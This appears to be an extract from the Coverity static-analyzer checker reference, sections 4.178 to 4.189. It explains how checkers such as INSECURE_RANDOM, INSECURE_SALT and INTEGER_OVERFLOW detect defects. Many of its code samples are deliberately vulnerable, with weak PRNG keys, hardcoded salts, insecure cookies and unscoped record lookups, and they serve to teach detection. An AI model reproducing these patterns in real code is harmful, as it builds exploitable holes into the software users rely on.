- `INSECURE_COOKIE` reports when a Ruby-on-Rails application creates a cookie without setting the `secure` attribute, unless the application sets `force_ssl` to `true` in the application configuration.

- `INSECURE_COOKIE` also reports when a cookie is created without setting the `HTTPOnly` attribute. When a cookie is created in a Ruby-on-Rails application, the `HTTPOnly` attribute must be explicitly set. The `HTTPOnly` attribute prevents client-side JavaScript from reading the cookie value. This might reduce the impact of a cross-site scripting vulnerability by preventing exfiltration of cookie values such as session tokens.

The following Ruby-on-Rails code demonstrates creating a cookie value without setting the `HTTPOnly` or `Secure` attributes.

```
class ExampleController < ApplicationController
 def login
 cookies[:token] = generate_token_value
 end
end
```

## 4.179. INSECURE\_DIRECT\_OBJECT\_REFERENCE

Security Checker

### 4.179.1. Overview

**Supported Languages:** Ruby

`INSECURE_DIRECT_OBJECT_REFERENCE` finds code that might allow attackers to directly retrieve records via a simple identifier (CWE-639). If the code does not check authorization, an attacker might be able to access unauthorized records. Object references are often sequential integer IDs that correspond to database row ID values. These are easy for an attacker to guess and enumerate.

**Disabled by default:** `INSECURE_DIRECT_OBJECT_REFERENCE` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

### 4.179.2. Defect Anatomy

`INSECURE_DIRECT_OBJECT_REFERENCE` reports calls to methods such as `find` and `find_by_id` with a user-controlled parameter on models that "belong to" another model.

### 4.179.3. Examples

This section provides one or more `INSECURE_DIRECT_OBJECT_REFERENCE` examples.

The following Ruby on Rails code demonstrates finding an account directly via an ID instead of scoping the SQL query to the current user.

```
class AccountController < ApplicationController
 def show
 Account.find params[:id]
 end
end
```

```
class Account < ActiveRecord::Base
 belongs_to :user
end
```

## 4.180. INSECURE\_HTTP\_FIREWALL

Security Checkers

### 4.180.1. Overview

**Supported Languages:** Java

The `INSECURE_HTTP_FIREWALL` checker finds cases where the insecure HTTP firewall is configured in Spring Security framework. Spring Security ships with a set of HTTP firewalls that can be added as filters to the `FilterChainProxy` to reject malicious HTTP requests before they are handled by the server. By default all the request checks are set to their strongest level. However, it's possible to customize the `HttpFirewall` using a few configuration methods that allow one to weaken the request checks:

These methods allow a URL encoded slash in the URL, which might cause security vulnerabilities.

- `org.springframework.security.web.firewall.DefaultHttpFirewall.setAllowUrlEncodedSlash(boolean allowUrlEncodedSlash)`
- `org.springframework.security.web.firewall.StrictHttpFirewall.setAllowUrlEncodedSlash(boolean allowUrlEncodedSlash)`

Allowing any HTTP method can open the application up to HTTP Verb tampering and XST attacks.

- `org.springframework.security.web.firewall.StrictHttpFirewall.setUnsafeAllowAnyHttpMethod(boolean unsafeAllowAnyHttpMethod)`

Allowing a semicolon in the URL (i.e. for matrix variables) can open the application up to Reflected File Download Attacks and provide ways to bypass URL based security.

- `org.springframework.security.web.firewall.StrictHttpFirewall.setAllowSemicolon(boolean allowSemicolon)`

Allowing a percent "%" in the path might lead to security exploits by bypassing URL based security.

- `org.springframework.security.web.firewall.StrictHttpFirewall.setAllowUrlEncodedPercent(boolean allowUrlEncodedPercent)`

Allowing a period "." in the path might lead to security exploits by bypassing URL based security.

- `org.springframework.security.web.firewall.StrictHttpFirewall.setAllowUrlEncodedPeriod(boolean allowUrlEncodedPeriod)`

Allowing a backslash "\" in the path might lead to security exploits by bypassing URL based security.

- `org.springframework.security.web.firewall.StrictHttpFirewall.setAllowBackSlash(boolean allowBackSlash)`

**Disabled by default:** The `INSECURE_HTTP_FIREWALL` checker is disabled by default. You can enable it with the `--webapp-security` option to the `cov-analyze` command.

## 4.180.2. Examples

This section provides one or more `INSECURE_HTTP_FIREWALL` examples.

In the following example, an `INSECURE_HTTP_FIREWALL` defect is displayed for the `DefaultHttpFirewall` being set as the `httpFirewall()` in `WebSecurity`.

```
package InsecureHttpFirewall.Test;

import org.springframework.security.web.firewall.DefaultHttpFirewall;
import org.springframework.security.web.firewall.HttpFirewall;
import org.springframework.security.config.annotation.web.builders.WebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;

public class DefaultHttpFirewallPositive extends WebSecurityConfigurerAdapter {
 @Override
 public void configure(WebSecurity webSecurity) throws Exception {
 super.configure(webSecurity);
 webSecurity.httpFirewall(new DefaultHttpFirewall()); //defect here
 }
}
```

## 4.181. INSECURE\_MULTIPLEER\_CONNECTION

Security Checker

### 4.181.1. Overview

**Supported Languages:** Swift

`INSECURE_MULTIPLEER_CONNECTION` finds cases when the initialization of a multi-peer connection session sets the encryption so that it is not mandatory.

By default, multi-peer connections are established with encrypted transport. You can disable encryption or make encryption optional. However, note that this makes your connection more susceptible to interception, as information can easily be read as plaintext by an attacker.

**Enabled by default:** `INSECURE_MULTIPLEER_CONNECTION` is enabled by default. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".

## 4.181.2. Defect Anatomy

An `INSECURE_MULTIPLEER_CONNECTION` defect shows a call site that initiates an insecure channel to send or receive data. Additional event data will demonstrate the detection of the insecure protocol or ports.

## 4.181.3. Examples

This section provides one or more `INSECURE_MULTIPLEER_CONNECTION` examples.

### 4.181.3.1. Swift

This example creates a multipeer connection with encryption disabled ( `.none` ).

```
import Foundation
import MultipeerConnectivity

class Connectivity {
 ...
 func createConnectivity(name: String) -> MCSession {
 let myID = MCPeerID(displayName: name)

 // Insecure Multipeer Connection Here
 return MCSession(peer: myID, securityIdentity: nil,
encryptionPreference: .none)
 }
 ...
}
```

## 4.182. INSECURE\_RANDOM

Security Checker

### 4.182.1. Overview

**Supported Languages:** C#, Java, JavaScript, Kotlin, Python, Visual Basic

`INSECURE_RANDOM` finds cases where cryptographically weak pseudo-random number generators (PRNGs) are used to generate insecure random values, which are then used in sensitive contexts where security relies on the unpredictability of these generated values. Otherwise, attackers might be able to guess further generated values and thereby gain restricted privileges or access to sensitive data.

- **Disabled by default:** This checker is disabled by default for C#, Java, JavaScript, Python, Visual Basic. To enable it use the `--enable` option to the **cov-analyze** command. To enable `INSECURE_RANDOM` along with all other Web application security checkers, use the `--webapp-security` option to **cov-analyze**.

- **Enabled by default:** This checked is enabled by default for Kotlin.

### 4.182.2. Defect Anatomy

An `INSECURE_RANDOM` defect with subcategory `insecure_random_used` shows a dataflow path by which an insecure random value is passed through the program and eventually used in a security sensitive context. The first event describes the cryptographically insecure source of the random value. It is followed by events that trace the step-by-step propagation through the program. The last event shows the value being passed to a sensitive sink.

An `INSECURE_RANDOM` defect with subcategory `insecure_random_value` has an event at the point in the code where a cryptographically insecure PRNG is used to generate a random value.

### 4.182.3. Examples

This section provides one or more `INSECURE_RANDOM` examples.

#### 4.182.3.1. C#

In this example, a cryptographically insecure PRNG is used to generate a random value. This value is then used in a security sensitive context, as a network credential password.

```
using System;

class InsecureRandom
{
 public void Test() {

 Random random = new Random();
 Byte[] bytes = new Byte[20];
 random.NextBytes(bytes);

 string s = System.Text.Encoding.UTF8.GetString(bytes, 0, bytes.Length);
 System.Net.NetworkCredential nc
 = new System.Net.NetworkCredential("userName", s); // Defect here.
 }
}
```

#### 4.182.3.2. Java

In this example, a cryptographically insecure PRNG is used to generate a random value. This value is then used in a security-sensitive context, as a password.

```
import java.net.PasswordAuthentication;
import java.util.Random;

public class InsecureRandom {
```

```
public void test() throws Exception {

 Random ranGen = new Random();
 byte[] bytes = new byte[20];
 ranGen.nextBytes(bytes);

 PasswordAuthentication pa = new PasswordAuthentication("username", // Defect
here.
 new String(bytes).toCharArray());
 }
}
```

#### 4.182.3.3. JavaScript

In this example, a cryptographically insecure PRNG is used to generate a random value. This value is then used in a security-sensitive context as a key for an HMAC algorithm.

```
const crypto = require ('crypto');
let key = Math.random();

function unsafe_hmac(data) {
 let hash = crypto.createHmac('sha256', key); // Defect here

 hash.update(data);

 return hash.digest('base64');
}
```

#### 4.182.3.4. Kotlin

In this example, a cryptographically insecure PRNG is used to generate a random value. This value is then used in a security-sensitive context, as a directory name's prefix.

```
public class InsecureRandom {

 @Throws(Exception::class)
 fun test() {
 val intRange = IntRange(0, 100)
 val prefix = intRange.random().toString()

 createTempDir(prefix)
 }
}
```

#### 4.182.3.5. Python

In this example, `random.random()` is used to generate an insecure message hash using HMAC. This example creates a hash object with the insecure secret key and updates it with the data that will be authenticated. Then the code to be used for authentication is returned. A defect will be reported on the `hmac.new` call.

```

import hmac
import hashlib
import random

key = random.random();

def unsafe_hmac(data):
 hmac_instance = hmac.new(key, '', hashlib.sha1)
 hmac_instance.update(data);
 return hmac_instance.hexdigest();

```

#### 4.182.3.6. Visual Basic

In this example, a random password is generated, and a defect is issued because the `NewPassword` value is insufficiently random.

```

Public Class InsecureRandom

 ' Manage users and passwords
 Private userManager as Microsoft.AspNetCore.Identity.UserManager(Of MyUser)

 Private Function NewRandomPassword(user as MyUser, OldPassword as String) as String
 ' Generate a new random password
 Dim Random as random = New Random()
 Dim bytes() as Byte = New Byte(8) {}
 random.NextBytes(bytes)
 Dim NewPassword as String = System.Text.Encoding.UTF8.GetString(bytes, 0, bytes.Length)

 ' Update to new random password
 ' !!!! INSECURE_RANDOM checker reports a defect here, due to an insufficiently
random NewPassword value
 userManager.ChangePasswordAsync(user, OldPassword, NewPassword)

 Return NewPassword
 End Function
End Class

```

#### 4.182.4. Options

This section describes one or more `INSECURE_RANDOM` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `INSECURE_RANDOM:report_no_sink_errors:<boolean>` - When this option is set to true, the checker reports a defect on all instances in which a cryptographically insecure PRNG is used to generate a random value. The checker does not take into account the way the PRNG instances are used. If false, the checker reports defects only when insecurely generated random values are used in

security-sensitive contexts. Defaults to `INSECURE_RANDOM:report_no_sink_errors:false`. This checker option is automatically set to `true` if the `--webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`.

## 4.183. INSECURE\_REFERRER\_POLICY

### 4.183.1. Overview

**Supported Languages:** JavaScript, TypeScript

The `INSECURE_REFERRER_POLICY` checker finds cases where the `Referer-Policy` HTTP header is set to any of the following values as it may leak Referrer header across origins:

- The `origin` only sends the origin of the document as the referrer. This policy causes the origin of HTTPS referrers to be sent over the network as part of unencrypted HTTP requests.
- The `origin-when-cross-origin` sends the origin, path, and query string when performing a same-origin request, but only sends the origin of the document for other cases. This policy causes the origin of HTTPS referrers to be sent over the network as part of unencrypted HTTP requests.
- The `unsafe-url` sends the origin, path, and query string when performing any request, regardless of connection security. This policy might leak origins and paths from TLS-protected resources to insecure origins.
- The `no-referrer-when-downgrade` sends origin, path, and query string of the URL as a referrer when the protocol security level stays the same (`HTTP → HTTP`, `HTTPS → HTTPS`) or improves (`HTTP → HTTPS`), but isn't sent to less secure destinations (`HTTPS → HTTP`). This policy might leak information and impact privacy when a request is made from one HTTPS page to another HTTPS page on a different origin.

The `Referer-Policy` HTTP header is set through the `helmet` and `referrer-policy` libraries in JavaScript.

The `INSECURE_REFERRER_POLICY` checker is disabled by default; it is only enabled in Audit Mode.

### 4.183.2. Examples

This section provides one or more `INSECURE_REFERRER_POLICY` examples.

In the following example, an `INSECURE_REFERRER_POLICY` defect is displayed for the insecure configuration of the `Referer-Policy` HTTP header, where the `unsafe-url` policy is set in the `helmet.referrerPolicy()` function.

```
var express = require('express');
var app = express();
```

```
var helmet = require('helmet');
app.use(helmet.referrerPolicy({ policy: 'unsafe-url' }));
```

## 4.184. INSECURE\_REMEMBER\_ME\_COOKIE

Security Checker

### 4.184.1. Overview

**Supported Languages:** Java

The `INSECURE_REMEMBER_ME_COOKIE` checker finds several cases of insecure configuration for the `RememberMe` cookie using the methods of the `org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices` or `org.springframework.security.web.authentication.rememberme.PersistentTokenBasedRememberMeServices` class:

- Setting the `useSecureCookie` parameter to `false` in the `setUseSecureCookie` method. In that case, the `RememberMe` cookie is allowed to be sent over an insecure HTTP protocol.
- Setting the `cookieDomain` parameter to a broad domain in the `setCookieDomain` method. In that case, the `RememberMe` cookie might be accessed by untrusted domains.

The `INSECURE_REMEMBER_ME_COOKIE` checker is disabled by default. You can enable it in Audit Mode.

### 4.184.2. Examples

This section provides one or more `INSECURE_REMEMBER_ME_COOKIE` examples.

In the following example, an `INSECURE_REMEMBER_ME_COOKIE` defect is displayed for calling the `setUseSecureCookie` method with the argument set to `false`.

```
import
 org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices;
import org.springframework.security.core.userdetails.UserDetailsService;

class InsecureRememberMeCookie
{
 private UserDetailsService userDetailsService;
 private final String REMEMBER_ME_KEY = "remember-me-key";

 public TokenBasedRememberMeServices rememberMeServices1() {
 TokenBasedRememberMeServices rememberMeSvc =
```

```
 new TokenBasedRememberMeServices(REMEMBER_ME_KEY,
userDetailsService);
 rememberMeSvc.setUseSecureCookie(false); //defect here
 return rememberMeSvc;
 }
}
```

## 4.185. INSECURE\_SALT

Security Checker

### 4.185.1. Overview

**Supported Languages:** JavaScript

INSECURE\_SALT finds cases where an insufficiently random salt value is used as input to a hash function. If an attacker knows the salt value, they can conduct a brute-force attack to discover the input that yields the output that the hash function produced.

**Disabled by default:** INSECURE\_SALT is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

### 4.185.2. Defect Anatomy

An INSECURE\_SALT defect shows a dataflow path by which a hardcoded salt is passed through the program and eventually used in a security-sensitive context. The first event shows the hardcoded value. It is followed by events that trace the step-by-step propagation through the program. The last event shows the value being passed to a sensitive sink.

### 4.185.3. Examples

This section provides one or more INSECURE\_SALT examples.

#### 4.185.3.1. JavaScript

In this example, an express server is created that hashes a password using an insecure salt.

```
var bcrypt = require('bcrypt');
var express = require('express');

var app = express();

app.post('/signup', function (req, res) {
 const salt = 'salt_value';
 bcrypt.hash(req.body.password, salt, function (err, hash) { // Defect here
 if (err) throw err;
 addUserToDatabase(req.body.username, hash, salt);
 });
});
```

```
});
 res.send('Account created');
});

app.listen(3000, function () {});
```

## 4.186. INSUFFICIENT\_LOGGING

Security Checker

### 4.186.1. Overview

**Supported Languages:** Go, JavaScript, Python, TypeScript

The `INSUFFICIENT_LOGGING` checker reports a defect in code that handles a security event or error condition but does not properly log the event. Logging important security events facilitates earlier detection of security incidents, and encourages a better response to them.

For example, an invalid encryption signature should be logged. This could be evidence of an in-progress man-in-the-middle attack. The checker will report a defect if the verification failure is handled but not logged.

**Disabled by default:** `INSUFFICIENT_LOGGING` is disabled by default for JavaScript, Python and TypeScript. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `INSUFFICIENT_LOGGING` along with other Web application checkers, use the `--webapp-security` option.

**Enabled by default:** `INSUFFICIENT_LOGGING` is enabled by default for Go.

### 4.186.2. Examples

This section provides one or more `INSUFFICIENT_LOGGING` examples.

#### 4.186.2.1. Go

The following Go example code shows a function intended to verify a certificate, which might be a security-sensitive operation. When parsing or verification fails with an error, the function does not perform any logging:

```
package example

import (
 "crypto/x509"
 "encoding/pem"
)
```

```
func verifyCertificate(certpem string) bool {
 var block, _ = pem.Decode([]byte(certpem))

 // Parsing the certificate may return an error
 cert, err := x509.ParseCertificate(block.Bytes)

 if(err != nil) { // INSUFFICIENT_LOGGING defect
 return false
 }

 opts := x509.VerifyOptions{
 DNSName: "example.com",
 }

 // Verification may return an error
 _, err = cert.Verify(opts)

 if(err != nil) { // INSUFFICIENT_LOGGING defect
 return false
 }

 return true
}
```

#### 4.186.2.2. JavaScript and TypeScript

In the following code example, a defect is reported for the `else` clause.

```
const crypto = require('crypto');

function verifySignature(data, getSignatureSecurely, getPublicKeySecurely){
 const verify = crypto.createVerify('SHA256');
 verify.update(data)

 const signature = getSignatureSecurely();
 const publicKey = getPublicKeySecurely();
 if(verify.verify(publicKey, signature)){
 postSuccessfulVerification();
 }
 else{

 }
}
```

#### 4.186.2.3. Python

In the following example, an `INSUFFICIENT_LOGGING` defect is reported at the call to `check_password_hash(pw_hash, pw)`.

```
from flask import Flask
from flask.ext.bcrypt import Bcrypt
```

```
app = Flask(__name__)
myBcrypt = Bcrypt(app)

def handlePasswordHash(pw_hash, pw):
 if not myBcrypt.check_password_hash(pw_hash, pw):
 pass
 else:
 postPasswordCheck()
```

## 4.187. INSUFFICIENT\_PRESIGNED\_URL\_TIMEOUT

Security Checker

### 4.187.1. Overview

**Supported Languages:** JavaScript, TypeScript

`INSUFFICIENT_PRESIGNED_URL_TIMEOUT` finds cases where the `expires` property in the options used by the `getSignedURL` method of the Google Cloud Storage is set to a hard coded string literal, or where the `Expires` property in the options used by the `getSignedUrl` and `createPresignedPost` methods of AWS S3 is set to a value greater than or equal to 1 hour; by default, this property is set to 15 minutes.

**Disabled by default:** `INSUFFICIENT_PRESIGNED_URL_TIMEOUT` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

**Web application security checker enablement:** To enable

`INSUFFICIENT_PRESIGNED_URL_TIMEOUT` along with other Web application checkers, use the `--webapp-security` option.

### 4.187.2. Examples

This section provides one or more `INSUFFICIENT_PRESIGNED_URL_TIMEOUT` examples.

In the following example, The `Expires` assignment to a value greater than one hour displays the `INSUFFICIENT_PRESIGNED_URL_TIMEOUT` defect.

```
const AWS = require('aws-sdk');
var s3 = new AWS.S3();

var params = {
 Bucket: 'my-bucket',
 Key: 'my-object',
 ImageActions: '50p',
 Expires: 6000
};

var url = s3.getSignedUrl('getImage', params);
```

## 4.188. INTEGER\_OVERFLOW

Quality, Security Checker

### 4.188.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

`INTEGER_OVERFLOW` finds many cases of integer overflows and truncations resulting from arithmetic operations. Some forms of integer overflow can cause security vulnerabilities, for example, when the overflowed value is used as the argument to an allocation function. By default, the checker reports defects only when it determines that the operands are tainted sources, the operations are addition or multiplication, and the operation's result goes to a sink. Sinks are memory allocators and certain system calls. You can use checker options to add more sinks. The checker only reports when overflow occurs on the path from a data source to a data sink. By default, a source is a program variable that can be controlled by an external agent (for example, an attacker), and a sink is a value that is trusted from a security perspective (for example, allocation argument). However, there are checker options that will relax the source and sink criteria in order to report more defects.

For more information about tainted data and sinks, see Section 6.2, “C/C++ Application Security”.

To enable taint to flow downwards from C and C++ unions to their component fields, you can set the `--inherit-taint-from-unions` option to the `cov-analyze` [↗](#) command.

**Disabled by default:** `INTEGER_OVERFLOW` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.



#### Note

The `INTEGER_OVERFLOW` checker cannot be enabled with the `--all` option of the `cov-analyze` command.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

### 4.188.2. Examples

This section provides one or more `INTEGER_OVERFLOW` examples.

The following example has an integer overflow defect because the integer `y` is from an outside (and therefore, potentially tainted) source. This value is an operator in a multiplication operation (as `size`), and then is used in a sink (allocator for `mycell`).

```
#include <unistd.h>

#define INT_MAX 2147483647

class Cell {
public:
 int a;
```

```

 int *b;
};

void test(int x, int fd) {
 int y;
 read(fd, &y, 4); // y is from a tainted (outside) source
 int size = y;
 Cell *mycell;
 if (size != 0) {
 // Overflow results from operation size * sizeof(Cell)
 // Overflowed value is used in memory allocation
 mycell = new Cell[size]; // overflow and overflow_sink events
 }
}

```

### 4.188.3. Options

This section describes one or more `INTEGER_OVERFLOW` options.

You can set specific checker option values by passing them with `--checker-option` to the `cov-analyze` command. For details, refer to the *Coverity Command Reference*.

- `INTEGER_OVERFLOW:enable_all_overflow_ops:<boolean>` - When this option is `true`, the checker reports defects for subtraction, unary negation, increment, and decrement operations. Defaults to `INTEGER_OVERFLOW:enable_all_overflow_ops:false`

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the `cov-analyze` command is set to `high`.

- `INTEGER_OVERFLOW:enable_array_sink:<boolean>` - When this option is `true`, the checker treats all array index operations as sinks. Defaults to `INTEGER_OVERFLOW:enable_all_overflow_ops:true`
- `INTEGER_OVERFLOW:enable_const_overflows:<boolean>` - When this option is `true`, the checker flags overflows due to arithmetic on constant operands that are either literal constants or are known to be specific constant values along a particular path. Occasionally, such overflows are intentional, but often they indicate a logical error or an erroneous value. Enabling this option flags overflows for the following operators: add, subtract, multiply, truncate due to cast, increment (`++`), and decrement (`--`). Defaults to `INTEGER_OVERFLOW:enable_const_overflows:false`
- `INTEGER_OVERFLOW:enable_deref_sink:<boolean>` - When this option is `true`, the checker treats the operation of dereferencing a pointer as sinks. Defaults to `INTEGER_OVERFLOW:enable_deref_sink:false`

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the `cov-analyze` command is set to `high`.

- `INTEGER_OVERFLOW:enable_tainted_params:<boolean>` - When this option is `true`, the checker treats all operands as potentially tainted. Defaults to `INTEGER_OVERFLOW:enable_tainted_params:false`

- `INTEGER_OVERFLOW:enable_return_sink:<boolean>` - When this option is `true`, the checker treats all return statements as sinks. Defaults to `INTEGER_OVERFLOW:enable_return_sink:true`
- `INTEGER_OVERFLOW:trust_command_line:<boolean>` - [All] Setting this option to `false` causes the analysis to treat command line arguments as tainted. Defaults to `INTEGER_OVERFLOW:trust_command_line:false`. Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` **cov-analyze** command line options.
- `INTEGER_OVERFLOW:trust_console:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from the console as tainted. Defaults to `INTEGER_OVERFLOW:trust_console:false`. Setting this checker option will override the global `--trust-console` and `--distrust-console` **cov-analyze** command line options.
- `INTEGER_OVERFLOW:trust_cookie:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from HTTP cookies as tainted. Defaults to `INTEGER_OVERFLOW:trust_cookie:false`. Setting this checker option will override the global `--trust-cookie` and `--distrust-cookie` **cov-analyze** command line options.
- `INTEGER_OVERFLOW:trust_database:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from a database as tainted. Defaults to `INTEGER_OVERFLOW:trust_database:false`. Setting this checker option will override the global `--trust-database` and `--distrust-database` **cov-analyze** command line options.
- `INTEGER_OVERFLOW:trust_environment:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from environment variables as tainted. Defaults to `INTEGER_OVERFLOW:trust_environment:false`. Setting this checker option will override the global `--trust-environment` and `--distrust-environment` **cov-analyze** command line options.
- `INTEGER_OVERFLOW:trust_filesystem:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from the filesystem as tainted. Defaults to `INTEGER_OVERFLOW:trust_filesystem:false`. Setting this checker option will override the global `--trust-filesystem` and `--distrust-filesystem` **cov-analyze** command line options.
- `INTEGER_OVERFLOW:trust_http:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from HTTP requests as tainted. Defaults to `INTEGER_OVERFLOW:trust_http:false`. Setting this checker option will override the global `--trust-http` and `--distrust-http` **cov-analyze** command line options.
- `INTEGER_OVERFLOW:trust_http_header:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from HTTP headers as tainted. Defaults to `INTEGER_OVERFLOW:trust_http_header:false`. Setting this checker option will override the global `--trust-http-header` and `--distrust-http-header` **cov-analyze** command line options.
- `INTEGER_OVERFLOW:trust_network:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from the network as tainted. Defaults to

`INTEGER_OVERFLOW:trust_network:false` . Setting this checker option will override the global `--trust-network` and `--distrust-network` **cov-analyze** command line options.

- `INTEGER_OVERFLOW:trust_rpc:<boolean>` - [All] Setting this option to false causes the analysis to treat data from RPC requests as tainted. Defaults to `INTEGER_OVERFLOW:trust_rpc:false` . Setting this checker option will override the global `--trust-rpc` and `--distrust-rpc` **cov-analyze** command line options.
- `INTEGER_OVERFLOW:trust_system_properties:<boolean>` - [All] Setting this option to false causes the analysis to treat data from system properties as tainted. Defaults to `INTEGER_OVERFLOW:trust_system_properties:false` . Setting this checker option will override the global `--trust-system-properties` and `--distrust-system-properties` **cov-analyze** command line options.



### Important!

Enabling these options, especially `enable_tainted_params` , significantly slows down analysis time (30–50%).

## 4.188.4. Models

You can model additional C/C++ tainted sources and sinks with the `__coverity_mark_pointee_as_tainted__` and `__coverity_taint_sink__` modeling primitives. The `ALLOCATION` sink type is relevant to this checker.

## 4.188.5. Events

This section describes one or more events produced by the `INTEGER_OVERFLOW` checker.

- `overflow` - An arithmetic operation resulted in an integer overflow. One or more of the operands is from a tainted source.
- `truncation` - An implicit cast of a large bit-width value to a small bit-width value resulted in an integer truncation. One or more of the operands is from a tainted source.
- `overflow_assign` - An overflowed or truncated integer is assigned to another variable.
- `overflow_const` - An overflow due to arithmetic on values that are constants along this path.
- `overflow_sink` - An overflowed or truncated integer is used in a sink.
- `truncate_const` - Truncation due to a cast of constant value to smaller size result that loses higher-order bits in the resultant value.

## 4.189. INVALIDATE\_ITERATOR

Quality Checker

## 4.189.1. Overview

**Supported Languages:** C++, Java

INVALIDATE\_ITERATOR finds many uses of iterators that have been invalidated by a modification to the collection underlying the iterator. Depending on the API, language, compiler, and so on, use of an invalid iterator could cause undefined behavior, such as a crash or data corruption, or could throw an exception.

**Enabled by default:** INVALIDATE\_ITERATOR is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.189.1.1. C++

For C++, INVALIDATE\_ITERATOR checker finds many uses of STL iterators that are either invalid (any use) or past-the-end (increment or dereference). An iterator is considered to be invalidated after it has been passed to an STL container's `erase` method. Use of invalid or past-the-end iterators might work on certain platforms, but this is not guaranteed. More likely, these defects lead to undefined behavior, including crashes.

The checker recognizes the following containers by default:

```
vector
list
map
multimap
set
multiset
hash_map
hash_multimap
hash_set
hash_multiset
basic_string
```

The checker treats a variable as an iterator if its type is the same as the return type of any overload of `end()`.

The INVALIDATE\_ITERATOR analysis can report false positives when it incorrectly infers that an iterator is off the end of an STL container or when it incorrectly infers that an iterator is used improperly. In either case, the only way to suppress false positives of these types is using a code-line annotation.

### 4.189.1.2. Java

For Java, this checker finds cases in which the following sequence occurs, which is invalid for class `Iterator`:

1. An iterator is obtained from a collection.

2. That collection is modified (without using `Iterator.remove`).
3. The iterator is used.

This scenario also includes cases in which the iterator is implicitly created by an enhanced `for` loop.

## 4.189.2. Examples

This section provides one or more `INVALIDATE_ITERATOR` examples.

### 4.189.2.1. C++

```
void wrong_erase(list<int> &l, int v) {
 list<int>::iterator i = l.begin();
 for(; i != l.end(); ++i) { /* Defect: "i" is incremented
 after invalidation
 by a call to "erase" */

 if(*i == v)
 l.erase(i);
 }
}
```

```
int deref_end(list<int> &l) {
 list<int>::iterator i = l.end();
 int x = *i; // Defect: dereferencing past-the-end
}
```

#### 4.189.2.1.1. Possible Solutions

One way to erase multiple items from an STL list or set is to use the following idiom:

```
void correct_erase(list<int> &l, int v) {
 list<int>::iterator i = l.begin();
 while(i != l.end()) {
 if(*i == v)
 l.erase(i++); // OK: Post-increment increments old value
 // and invalidates temporary
 else
 ++i;
 }
}
```

One way to erase multiple items from an STL vector is to use the following idiom:

```
void correct_erase(vector<int> &c, int v) {
 // wi = "write" iterator
 // ri = "read" iterator
```

```

vector<int>::iterator ri = c.begin();
// Skip kept values at the beginning
while(ri != c.end() && *ri != v)
 ++ri;
if(ri == c.end())
 return;
vector<int>::iterator wi = ri;
// Skip first erased value
++ri;
while(ri != c.end()) {
 if(*ri != v) {
 // Keep => write at wi
 *wi++ = *ri;
 } // else skip
 ++ri;
}
c.erase(wi, c.end());
}

struct is_equal_to: public unary_function<int, bool> {
 int const v;
 is_equal_to(int v):v(v){}
 bool operator()(int x) const {
 return x == v;
 }
};

void correct_erase2(vector<int> &c, int v) {
 c.erase(remove_if(c.begin(), c.end(), is_equal_to(v)), c.end());
}

```

#### 4.189.2.2. Java

The following example, the iterator `families` from `familyListeners.keySet()` is returned. Then a call to `familyListeners.put()` mutates the `Iterable` `familyListeners`, which invalidates `families`. Finally, the invalid iterator `families` is used in a call to `java.util.Iterator.hasNext()`.

```

1 Iterator families = familyListeners.keySet().iterator();
2 while (families.hasNext()) {
3 Object next = families.next();
4 Collection currentListeners = (Collection) familyListeners.get(next);
5 if (currentListeners.contains(listener))
6 currentListeners.remove(listener);
7 if (currentListeners.isEmpty())
8 keysToRemove.add(next);
9 else
10 familyListeners.put(next, currentListeners);
11 }
12 //Remove any empty listeners
13 Iterator keysIterator = keysToRemove.iterator();
14 while (keysIterator.hasNext()) {

```

```
15 familyListeners.remove(keysIterator.next());
16 }
```

A correct way to write the previous example follows:

```
Iterator families = familyListeners.entrySet().iterator();
while (families.hasNext()) {
 Map.Entry entry = families.next();
 Collection currentListeners = (Collection) entry.getValue();
 if (currentListeners.contains(listener))
 currentListeners.remove(listener);
 if (currentListeners.isEmpty())
 families.remove();
 else
 entry.setValue(currentListeners);
}
```

In the following example, `i` is intended to indicate the index of the current element. However, if an element is removed, it will start pointing to the next element.

```
for (Map<String, Object> itemObj : listAddItem) {
 AddItemCall addItemCall = (AddItemCall) itemObj.get("addItemCall");
 ItemType item = addItemCall.getItem();
 String SKU = item.getSKU();
 if (UtilValidate.isEmpty(requestParams.get("productId"))) {
 String productId = requestParams.get("productId").toString();
 if (productId.equals(SKU)) {
 listAddItem.remove(i);
 }
 }
 i++;
}
```

### 4.189.3. Options

This section describes one or more `INVALIDATE_ITERATOR` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `INVALIDATE_ITERATOR:container_type:<regular_expression>` - This C++ option adds to the list of containers that the checker recognizes. Default is unset.

The argument of this option is a regular expression. The checker treats a class as a container if both of the following are true:

- The name of the class fully matches the regular expression.
- The class has an `end()` function.

To specify multiple types as containers, use a regular expression alternative, for example:

```
-co INVALIDATE_ITERATOR:container_type:myVector|myArray
```

Be sure to escape the pipe from your shell. If you specify the `container_type` option multiple times, only the last value is used. Compare this option to the separate `container_type` option to the `MISMATCHED_ITERATOR` checker.

